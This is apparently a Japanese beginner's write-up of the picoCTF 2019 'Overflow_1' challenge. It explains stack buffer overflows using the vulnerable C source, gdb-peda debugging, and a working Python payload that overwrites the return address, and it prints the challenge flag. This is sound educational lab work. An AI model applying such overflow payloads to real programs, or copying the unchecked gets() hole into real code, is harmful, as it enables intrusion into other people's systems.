はじめに
よくセキュリティの話で「バッファオーバーフロー」って言葉では聞くのですが、
なんとなくでしか理解していなかったので、CTFの問題を使ってまとめてみました。
バッファオーバーフローによる攻撃イメージは以下のサイトが分かりやすいです。
バッファオーバーフローとは?攻撃・対策方法とDoS攻撃との違いを解説
ほぼ上記サイトのイメージと同じですが。
要は想定したメモリ領域以上にデータを入れ、メモリの書き換えることで悪意のあるコードを実行することです。
今回利用する環境
今回解説では、picoCTF2019の問題を利用します。
ちなみにpicoCTFは初心者向けのCTFとして有名で、問題ごとにヒントがあったりもするので、
とりあえずセキュリティに興味を持ったので何かやってみたいという人にオススメです。
ちなみにCTFとは、セキュリティの知識を使って問題を解いていくゲームのようなものです。
問題を解くとスコアをもらえ、スコアが高い順にランキングが出たりします。
解説する問題(Binary Exploitation:Overflow_1)
解説するバッファオーバーフローの問題は、「Binary Exploitation」(別CTFでは「pwn」とも言われる)というジャンルに含まれる「Overflow_1」です。
ゲーム上の画面だと以下の入口に入って、正面にある端末を選択すると問題が出てきます。
※初回の場合「Overflow_1」でなく、問題をいくつか解く必要があります。
なお、このジャンルの問題を解く場合には、「Shell」を使ってコードを実行する必要があります。
Shellのログイン時は、picoCTFログイン時に利用している、UsernameとPasswordでログインできます。
Overflow_1の解説
概要
どうやってバッファオーバーフローさせ、リターンアドレスをこのプログラムにあるflag関数に変更できるか?
このプログラムはshell server上の
「/problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8」に格納されている。
※picoCTF上の画面で、文字色の違う"program"と"Source"を選択すると、バイナリファイルとC言語で書かれたソースコードがダウンロードできます。
リターンアドレスとは、関数実行後に次に実行するプログラムのアドレスのことです。
とある関数Aを呼び出した後にリターンアドレス「AAAA」を「BBBB」に変更すると、
プログラムは関数Aの実行後、本来であれば、「次はAAAAアドレスから下を実行すれば良いんだね!」となるところを、
「次はBBBBアドレスから下を実行していけば良いんだね!」と勘違いしてしまい、BBBBアドレスのメモリに格納されたコードを実行していくことになります。
問題を解くまでの流れとポイント
基本的に以下の流れで進みます。
やりたいことは、バッファオーバーフローを起こして、プログラム上呼び出されていないflag関数を実行するということです。
- コードの実行
- コードの確認
- 「flag関数」のアドレスの確認[必須情報1]
- 「リターンアドレス」が格納されたアドレスの確認[必須情報2]
- 「入力値を受け付ける変数(buf)」のアドレスの確認[必須情報3]
- バッファーオーバーフローによるflag関数の実行
※問題を解く上での重要な情報は太字の部分です。
1.コードの実行
shellにログインし、以下のコマンドを順番に実行してみてください。
$ cd /problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8
hoge@pico-2019-shell1:/problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8$ ./vuln
Give me a string and lets see what happens:
a
Woah, were jumping to 0x8048705 !
hoge@pico-2019-shell1:/problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8$
プログラムを実行すると、標準入力を求められ最後に"Woah, were jumping to 0x8048705 !"と表示されます。
ちなみにメッセージの最後に来る16進数はリターンアドレスを表しています。
2.コードの確認
「vuln.c」のコードを参照すると、flag関数を呼び出す箇所がないことに気が付きます。
なので問題文に書いてある通り、バッファオーバーフローをさせることでflagを呼び出さなくてはいけません。
vuln関数内にある『char buf[BUFFSIZE]』が怪しそうです。
入力値はこのbuf変数に格納されますが、サイズが固定されており、
文字列長のチェックもされていないので、ここでオーバーフローができそうです。
ちなみにこの変数はローカル変数でスタック領域に格納されます。
つまりこの変数に想定長(64byte)を超える入力をして、オーバーフローしてやることで、
スタック領域にあるリターンアドレスを書き換えられそうです。
C言語におけるスタックとヒープは以下のサイトが参考になりました。
ヒープとスタック
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
printf("Woah, were jumping to 0x%x !\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}
3.「flag関数」のアドレスの確認
flag関数のアドレスを調べる上で便利なのが「gdb」です。
gdbとはデバッガです。ブレークポイントを張ったり、メモリの状態を見たりできます。
結構Binary Exploitation系の問題を解くときは重宝するので、使い方を知っておくとかなり便利です。
ただ素のgdbで見ていくのはしんどいので、
より見やすくなった「gdb-peda」を使っています。
gdb-pedaのインストール方法等はgdb-peda超入門をご参照ください。
これを使うと、デバック時にレジストリやスタック領域がどのようになっているのかがかなり見やすくなります。
以下はデバックじの画面です。カラフルで見やすい!
gdbの具体的な使い方は以下の記事を参考にしてください。
はじめてのgdb
では実際にgdbを使ってflag関数のアドレスを調べていきます。
ここでflag関数を逆アセンブル(disasコマンド)します。
バイナリファイルなのですが、disasコマンドを利用することで、
アセンブラとしてコードを見ることができます。
hoge@pico-2019-shell1:/problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8$ gdb vuln
~省略~
gdb-peda$ disas flag
Dump of assembler code for function flag:
0x080485e6 <+0>: push ebp
0x080485e7 <+1>: mov ebp,esp
0x080485e9 <+3>: push ebx
0x080485ea <+4>: sub esp,0x54
0x080485ed <+7>: call 0x8048520 <__x86.get_pc_thunk.bx>
0x080485f2 <+12>: add ebx,0x1a0e
0x080485f8 <+18>: sub esp,0x8
0x080485fb <+21>: lea eax,[ebx-0x1860]
0x08048601 <+27>: push eax
~省略~
沢山文字列が出てきてしんどいのですが、
表示されているのは、flag関数が実際にメモリに格納されている命令とアドレスです。
一番上の行がflag関数の最初の命令とアドレス(0x080485e6 <+0>: push ebp)です。
つまり**「0x080485e6」**というアドレスがflag関数の最初のアドレスだと分かります。
4.「リターンアドレス」が格納されたアドレスの確認
gdbで動かしながら調べてみます。
vuln関数にブレークポイントを置き、一行ずつ動かしていきます。
標準入力後に入力値がスタック領域に格納されるので、
格納後にbufのアドレスを確認します。
※gdbコマンドメモ:bは「ブレークポイント」、rは「実行」、nは「次の行に移動」を表します。
gdb-peda$ b *vuln
Breakpoint 1 at 0x804865f
gdb-peda$ r
vuln関数の最初のアドレスでプログラムを一時停止しています。
ここで注目すべきは、スタックの一番上にある行です。
スタック領域の**「0xffad98cc」**にリターンアドレスが格納されているので、
ここに先ほどのflag関数のアドレスを埋め込んでやれば、vuln関数の実行後flag関数を実行するようにできそうです。
※アセンブラとメモリの関係は以下の記事を参考にして下さい。
x86アセンブリ言語での関数コール
ここでデバックを止めないでください。この後にbuf変数の格納アドレスをチェックするので。
5.「入力値を受け付ける変数(buf)」のアドレスの確認
標準入力が求めらるようになるまでは、しばらく「nコマンド」で次に進みます。
今回は標準入力として「aaaa」を入力しました。
標準入力後、スタック領域に入力した内容が格納されています。
つまりこの「0xffad9880」がbuf変数のアドレスです。
現状を整理
これまでの調査で、以下のことが分かっています。
項目 | アドレス |
---|---|
flag関数のアドレス | 0x080485e6 |
buf変数のアドレス | 0xffad9880 |
リターンアドレスが格納されたアドレス | 0xffad98cc |
イメージにするとこんな感じです。
入力値が格納されるアドレスから76byte離れたところに、リターンアドレスが格納されているため、
「76byteの1byte文字」+「flag関数のアドレス」を与えてやることで、リターンアドレスの中身を「flag関数のアドレス」に変えることができそうです。
問題を解く
リターンアドレスを書き換えるためには、76個の'a'と'0x080485e6'を以下のイメージで入力をすればリターンアドレスを書き換えられそうです。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0x080485e6
しかし実はそのまま入力してもダメで、このまま入力すると「0x080485e6」の部分が文字列として認識してしまいます。
なので以下のように変えて実行します。
(python -c "print 'a' * 76 + '\xe6\x85\x04\x08';") | ./vuln
ちなみにアドレスが「0xe6850408」と、もともと想定していた「0x080485e6」とは逆になっているのは実行環境がリトルエンディアンだからです。
エンディアンについては以下の記事を参照ください。
Endianってなに?
すると以下のようにフラグが出力されることが確認できました。
hoge@pico-2019-shell1:/problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8$ (python -c "print 'a' * 76 + '\xe6\x85\x04\x08';") | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn532066483}Segmentation fault (core dumped)
最後に
今までCTFをやっているときは、「やったー解けたー次!」ってなるのですが、
改めて今回を記事を書くにあたって、自分の理解が曖昧なところが沢山あるなと思いました。
アウトプットすることを通して知識を整理することができました。
定期的に記事を書くようにするのは自分の勉強のためにも良さそうなので、これからはもうちょっと意識的にアウトプットしていきます。
あとCTFはパズルをやっているみたいで楽しいので、まだやったことがない方は是非他の問題も色々とチャレンジしてみてください。